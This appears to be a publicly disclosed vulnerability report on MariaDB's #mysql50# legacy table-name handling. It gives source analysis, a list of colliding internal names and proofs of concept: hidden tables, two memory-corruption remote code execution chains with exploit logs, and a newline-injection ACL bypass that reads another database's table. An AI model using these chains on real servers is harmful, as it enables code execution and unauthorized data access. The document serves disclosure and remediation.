HexBrain

MariaDB · Report #3849051

#mysql50# legacy alias / internal table collisions

Validstatus
5upvotes
7 Oct 2026disclosed

How it was found

Note: a working (but heavily vibecoded mess of a) remote code execution chain for this issue is available. I recommend not posting anything publicly accessible about this in JIRA until resolved.

While the previous #mysql50# report (https://hackerone.com/reports/3849040) focused on exploiting issues relating to stale cache entries that are keyed by table name, this issue focuses more on the filesystem side of things and how tablename_to_filename() encoding differences can be abused.

sql/sql_table.cc:518

uint tablename_to_filename(const char *from, char *to, size_t to_length)
{
  if ((length= check_n_cut_mysql50_prefix(from, to, to_length)))
  { 
    if (Lex_ident_table::check_name({to, length}, true))
    {
      to[0]= 0;
      length= 0;
    }
    DBUG_RETURN(length);
  }

  length= strconvert(system_charset_info, from, FN_REFLEN,
                     &my_charset_filename, to, to_length, &errors);
  if (check_if_legal_tablename(to) &&
      length + 4 < to_length)
  {
    memcpy(to + length, "@@@", 4);
    length+= 3;
  }
  DBUG_RETURN(length);
}

True to its name, check_n_cut_mysql50_prefix() checks the table name for the #mysql50# prefix, removes it if present (to) and we fall into that first conditional block (this is the part we care about) - otherwise names get converted normally in the modern format. e.g. foo/bar > foo@002fbar.

Lex_ident_table::check_name() wraps Lex_ident_fs::check_body() which then essentially does the following:

sql/table.cc:5423

bool Lex_ident_fs::check_body(const char *name, size_t length,
                              bool disallow_path_chars)
{
  ..
  for ( ; name != end ; char_length++)
  {
    ...
    if (disallow_path_chars &&
        (*name == '/' || *name == '\\' || *name == '~' || *name == FN_EXTCHAR))
      return 1;

    if (*name == 0x00)
      return 1;
    name++;
  }
  return char_length > NAME_CHAR_LEN;
}

Thus anything other than /, \, ~, ., or NULL is essentially fair game in a #mysql50# prefixed table name. Because no encoding takes place, which is sort of the whole reason for this special-case handling to begin with, prefixed table names may be used to create, access, or alter internal / storage-engine "reserved" db related files.

The biggest problem is with having unencoded # chars in a #mysql50#-prefixed table name, which allows an attacker to collide with things such as the following (probably non-comprehensive list):

  • #sql*,
  • #rocksdb*,
  • #cache# (ColumnStore)
  • <table>#P#<partition>
  • <table>#P#<partition>#TMP#
  • <table>#P#<partition>#REN#
  • <table>#P#<partition>#SP#<subpartition>
  • <table>#i#<NN>
  • etc

There may also be some non-# related storage-engine issues such as tables colliding with FTS_* auxiliary-looking InnoDB names, e.g.

  • FTS_<table_id>_CONFIG
  • FTS_<table_id>_<index_id>_INDEX_1

Or table names that include control characters which can corrupt internal settings in things like merge tables and allow for ACL bypasses, e.g.

  • foo\nbar

Or ... other weird and wonderful things? :shrug:

Suggested Fix

Codex suggests the following (in order of preference)

  • remove #mysql50# support completely
  • allow, but only for opening existing legacy files and explicit ALTER DATABASE ... UPGRADE DATA DIRECTORY NAME
  • otherwise reject anything containing control bytes or internal marker grammer (or maybe just #?).

Proof of Concept - #sql* (hidden tables)

-- file names get encoded
CREATE TABLE `#sql-visible`(a INT);
INSERT INTO `#sql-visible` VALUES (1);

-- file names do not get encoded (and can be used directly afterwards)
CREATE TABLE `#mysql50##sql-hidden`(a INT);
INSERT INTO `#sql-hidden` VALUES (2);

-- non-encoded tables are treated as special
SHOW TABLES;
-- +------------------+
-- | #sql-visible     |
-- +------------------+

SELECT * FROM `#sql-visible`;
-- +------+
-- |    1 |
-- +------+

SELECT * FROM `#sql-hidden`;
-- +------+
-- |    2 |
-- +------+

Proof of Concept - <table>#P#<partition> (RCE)

When weaponized with ASLR bypass / read-what-where / write-what-where primitives from the other #mysql50# report (or elsewhere), an attacker can use a partition physical-table schema mismatch as the final memory-corruption and dispatch primitive.

The attacker creates a normal partitioned MyISAM parent table with a small parent record field, releases the partition handles, then drops and re-creates the hidden physical partition table (#mysql50#<parent>#P#p0) with a much larger compatible-looking row field. When the parent partition is read, ha_partition materializes the physical child row into the parent table’s record buffer using mismatched child metadata, overflowing past the parent row buffer into adjacent live Field objects.

The complete-chain PoC overwrites a reachable Field vtable pointer, stages a fake vtable, and dispatches through Field::val_int() via a parent-table SELECT.

==============================================================================
MariaDB: #mysql50# partition physical-table record overflow
vortfu <[email protected]>

target=11.8.8-MariaDB-deb13/aarch64 release build=450e330a
==============================================================================

...

[*] bypassing ASLR
[-] recovering image base via MEMORY inverse leak
[+] image_base=0xaaaac5fb0000
[-] verify: image base readback
[-] readback @base head=7f454c46020101030000000000000000
[-] verdict ELF64_OK

[*] arming partition physical-table replacement
[-] parent=`testdb`.`part_mysql50_ad450e8b` parent.c=VARBINARY(8)
[-] physical=`testdb`.`#mysql50#part_mysql50_ad450e8b#P#p0` physical.c=VARBINARY(65504) actual_payload=65504 engine=MyISAM
[>] mysql> CREATE TABLE `testdb`.`part_mysql50_ad450e8b`(
        id INT NOT NULL,
        c VARBINARY(8),
        PRIMARY KEY(id)
    ) ENGINE=MyISAM
    PARTITION BY RANGE(id)(
        PARTITION p0 VALUES LESS THAN (10),
        PARTITION p1 VALUES LESS THAN MAXVALUE
    )
[>] mysql> INSERT INTO `testdb`.`part_mysql50_ad450e8b` VALUES(1,'orig0'),(20,'orig1')
[>] mysql> ALTER TABLE `testdb`.`part_mysql50_ad450e8b` COMMENT='release partition handles'
[>] mysql> DROP TABLE `testdb`.`#mysql50#part_mysql50_ad450e8b#P#p0`
[>] mysql> CREATE TABLE `testdb`.`#mysql50#part_mysql50_ad450e8b#P#p0`(
        id INT NOT NULL,
        c VARBINARY(65504),
        PRIMARY KEY(id)
    ) ENGINE=MyISAM
[>] mysql> INSERT INTO `testdb`.`#mysql50#part_mysql50_ad450e8b#P#p0` VALUES(1, <payload 65504 bytes>)
[>] mysql> SELECT LENGTH(c) AS physical_len, HEX(SUBSTR(c,1,16)) AS physical_head FROM `testdb`.`#mysql50#part_mysql50_ad450e8b#P#p0`
    physical_len=65504 physical_head=504152544D5953514C3530504152544D

[*] probing partition parent TABLE layout
[>] mysql> LOCK TABLE `testdb`.`part_mysql50_ad450e8b` READ
[+] parent TABLE=0xaaaaf1bb60e8 share=0xf7ff8402cb80 handler=0xf7ff84030358
[+] record0=0xf7ff84031ce0 record1=0xf7ff84031cf0 record2=0xf7ff84031cf0
[+] TABLE::field=0xf7ff84031d00 delta_from_record0=+0x20
[+] share.reclength=14 share.rec_buff_length=16 fields=2
    field[0] Field=0xf7ff84031da0 vptr=0xaaaac77416b0 ptr=0xf7ff84031ce1 table=0xaaaaf1bb60e8 len=11 idx=0 delta_field=+0xc0 delta_data=+0xbe
    field[1] Field=0xf7ff84031e70 vptr=0xaaaac7747e58 ptr=0xf7ff84031ce5 table=0xaaaaf1bb60e8 len=8 idx=1 delta_field=+0x190 delta_data=+0x18a
[+] partition payload start for c=0xf7ff84031ce7 c_Field_delta=+0x189 verdict=FORWARD_REACHABLE
[-] target candidate field[0] delta_from_payload=+0xb9 reachable
[-] target candidate field[1] delta_from_payload=+0x189 reachable

[*] staging patched fake vtable
[+] fake vtable call target=system_pivot(image+0x73b6e0 -> libc system) addr=0xaaaac66eb6e0
[-] partition dispatch target field[0] patched_slots={val_int+0xc8}
[-] target Field[0] real_vtable=0xaaaac77416b0
[-] system_pivot cmd='id>/tmp/p50rce' system=0xffffbbdd9380
[-] stage table=`testdb`.`part_field_stage` TABLE=0xf7ff881c4f68 record0=0xf7ff8b03bc60
[+] cloned real target vtable=0xaaaac77416b0 len=0x400
[+] fake_vtable=0xf7ff8b040100 patched_slots={val_int+0xc8} -> 0xaaaac66eb6e0
[+] verify fake_vtable[0xc8]=0xaaaac66eb6e0
[+] payload base cloned live memory range 0xf7ff84031ce7..0xf7ff84031e80 len=409
[+] partition payload overwrites target Field[0] at payload+0xb9 Field=0xf7ff84031da0 data_start=0xf7ff84031ce7
[+] payload_len=409 fake_vtable=0xf7ff8b040100
[>] mysql> UPDATE `testdb`.`#mysql50#part_mysql50_ad450e8b#P#p0` SET c=<payload 409 bytes> WHERE id=1
[>] mysql> SELECT LENGTH(c) AS physical_len, HEX(SUBSTR(c,1,16)) AS physical_head FROM `testdb`.`#mysql50#part_mysql50_ad450e8b#P#p0`
    physical_len=409 physical_head=00000000000000000000000000000000

[*] triggering partition Field-vptr dispatch path
[-] execute mode: expect command 'id>/tmp/p50rce' and clean query return for val_int mode

[*] triggering returnable Field-vptr dispatch
[-] execute mode: server should remain alive after val_int dispatch
[-] triggering parent partition read; payload_len=65504
[-] complete-chain trigger uses id+0 to dispatch Field[0]->val_int() after metadata
[>] mysql> SELECT id + 0 AS dispatched_val_int
            FROM `testdb`.`part_mysql50_ad450e8b` PARTITION(p0)
            LIMIT 1
    0
[+] execute trigger returned cleanly
[*] summary
[+] partition replacement primitive reached parent record materialization
[-] artifacts left in testdb: part_mysql50_ad450e8b and #mysql50#part_mysql50_ad450e8b#P#p0
-rw-rw---- 1 mysql mysql 48 Jul  6 21:37 /tmp/p50rce
uid=101(mysql) gid=104(mysql) groups=104(mysql)

Proof of Concept - #i#<NN> (RCE)

When weaponized with ASLR bypass / read-what-where / write-what-where primitives from the other #mysql50# report (or elsewhere), an attacker can use the VECTOR HLINDEX hidden-helper table as the final dispatch gadget by planting a fake Field/vtable, re-creating the table with mismatched schema such that graph->field[2] now points to the fake field, and then dispatching graph->field[2]->value_length() through the fake vtable via MHNSW_Share::acquire() #

==============================================================================
MariaDB: #mysql50# VECTOR HLINDEX hidden-helper Field vptr dispatch
vortfu <[email protected]>

target=11.8.8-MariaDB-deb13/aarch64 build=450e330a
==============================================================================

...

[*] bypassing ASLR
[-] recovering image base via MEMORY inverse leak
[+] image_base=0xaaaac3de0000
[-] verify: image base readback
[-] readback @base head=7f454c46020101030000000000000000
[-] verdict ELF64_OK

[*] staging external fake Field/vtable
[+] fake vtable call target=system_pivot(image+0x73b6e0 -> libc system) addr=0xaaaac451b6e0
[-] vector call site is graph->field[2]->value_length() slot+0x150
[-] system_pivot cmd='id>/tmp/v50rce' cmd_addr=0xf7ff38a12cb0 system=0xffff84b09380
[-] stage table=`testdb`.`vec_field_stage` TABLE=0xf7ff5e192148 record0=0xf7ff38a12b80
[+] fake_field=0xf7ff38a12c00 fake_vtable=0xf7ff38a12f00 vector_slot+0x150=0xaaaac451b6e0
[+] verify fake_field.vptr=0xf7ff38a12f00 fake_vtable[0x150]=0xaaaac451b6e0
[+] verify system_pivot cmd_head=69643e2f746d702f7635307263650000 target=0xffff84b09380

[*] preparing vector hidden-helper slot overwrite
[>] mysql> CREATE TABLE `testdb`.`vec_field_chain`(
        id INT PRIMARY KEY,
        v VECTOR(3) NOT NULL,
        VECTOR KEY(v) m=3
    ) ENGINE=MyISAM
[>] mysql> INSERT INTO `testdb`.`vec_field_chain` VALUES (1,VEC_FromText('[1,2,3]'))
[>] mysql> ALTER TABLE `testdb`.`vec_field_chain` COMMENT='release hidden handle'
[>] mysql> DROP TABLE `testdb`.`#mysql50#vec_field_chain#i#01`
[>] mysql> CREATE TABLE `testdb`.`#mysql50#vec_field_chain#i#01`(
        layer VARBINARY(255) NOT NULL,
        tref VARBINARY(6),
        vec BLOB NOT NULL,
        neighbors BLOB NOT NULL,
        UNIQUE(tref),
        KEY(layer(1))
    ) ENGINE=MyISAM
[>] mysql> INSERT INTO `testdb`.`#mysql50#vec_field_chain#i#01` VALUES (<layer payload>, X'000000000000', <vec>, X'00')
[>] mysql> SELECT LENGTH(layer) AS layer_len, HEX(SUBSTR(layer,79,8)) AS target_slot_le FROM `testdb`.`#mysql50#vec_field_chain#i#01`
    layer_len=255 target_slot_le=002CA138FFF70000
[+] vector helper payload_len=255 slot_offset=0x4e fake_field=0xf7ff38a12c00

[*] triggering vector dispatch path
[-] system_pivot mode: expect command 'id>/tmp/v50rce' before connection loss/crash
[>] mysql> INSERT INTO `testdb`.`vec_field_chain` VALUES (2,VEC_FromText('[2,3,4]'))
[-] chain failed: SQLSTATE[HY000]: General error: 2006 MySQL server has gone away
-rw-rw---- 1 mysql mysql 48 Jul  6 19:31 /tmp/v50rce
uid=101(mysql) gid=104(mysql) groups=104(mysql)

Proof of Concept - MRG_MYISAM (ACL Bypass)

Assuming the following setup (and a separate attacker controlled db):

CREATE DATABASE victim;
GRANT CREATE TEMPORARY TABLES ON `victim`.* TO 'vortfu'@'localhost';

CREATE TABLE victim.secret(id INT, data LONGTEXT) ENGINE=MYISAM;
INSERT INTO victim.secret VALUES (1, 'foo-secret-bar');

An attacker can create two tables in their own db:

  • testdb.x and
  • testdb.#mysql50#x\n#INSERT_METHOD=LAST\nsecret

When they create a temporary table on victim that merges with testdb.#mysql50#x\n#INSERT_METHOD=LAST\nsecret, permission checks are performed against the latter, but the storage-engine will store / read child tables as being newline delimited.

storage/myisammrg/myrg_create.c:42

int myrg_create(const char *name, const char **table_names,
                uint insert_method, my_bool fix_names)
{
  ...
  strmov(buff,*table_names);
  *(end=strend(buff))='\n';
  mysql_file_write(file, (uchar*) buff, (uint) (end-buff+1), ...);

storage/myisammrg/myrg_open.c:65

MYRG_INFO *myrg_open(const char *name, int mode, int handle_locking)
{
  ...
  while ((length=my_b_gets(&file,buff,FN_REFLEN-1)))
  {
    ...
    if (buff[0] && buff[0] != '#')
      files++;
  }
  ...

  while ((length=my_b_gets(&file,buff,FN_REFLEN-1)))
  {
    ...
    if (buff[0] == '#')
    {
      if (!strncmp(buff+1,"INSERT_METHOD=",14))
        found_merge_insert_method =
          (uint) find_type(buff + 15, &merge_insert_method, FIND_TYPE_BASIC);
      continue;
    }

and thus the table actually merges testdb.x and victim.secret, e.g.

SELECT * FROM victim.secret;
--ERROR 1142 (42000): SELECT command denied to user 'vortfu'@'localhost' for table `victim`.`secret`

CREATE OR REPLACE TABLE testdb.x(id INT, data LONGTEXT) ENGINE=MYISAM;
CREATE OR REPLACE TABLE testdb.`#mysql50#x
#INSERT_METHOD=LAST
secret`(id INT) ENGINE=MYISAM;

CREATE OR REPLACE TEMPORARY TABLE victim.m(id INT, data LONGTEXT)
ENGINE=MRG_MYISAM
UNION=(testdb.`#mysql50#x
#INSERT_METHOD=LAST
secret`);

SELECT * FROM victim.m;
-- +------+----------------+
-- | id   | data           |
-- +------+----------------+
-- |    1 | foo-secret-bar |
-- +------+----------------+

Note: a case-sensitive fs (@@lower_case_table_names=0) is needed to allow INSERT on the victim table, otherwise the #INSERT_METHOD= directive is lower-cased and ignored. SELECT, UPDATE, and DELETE should be able to work without it regardless.

Impact

also pwned :(

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original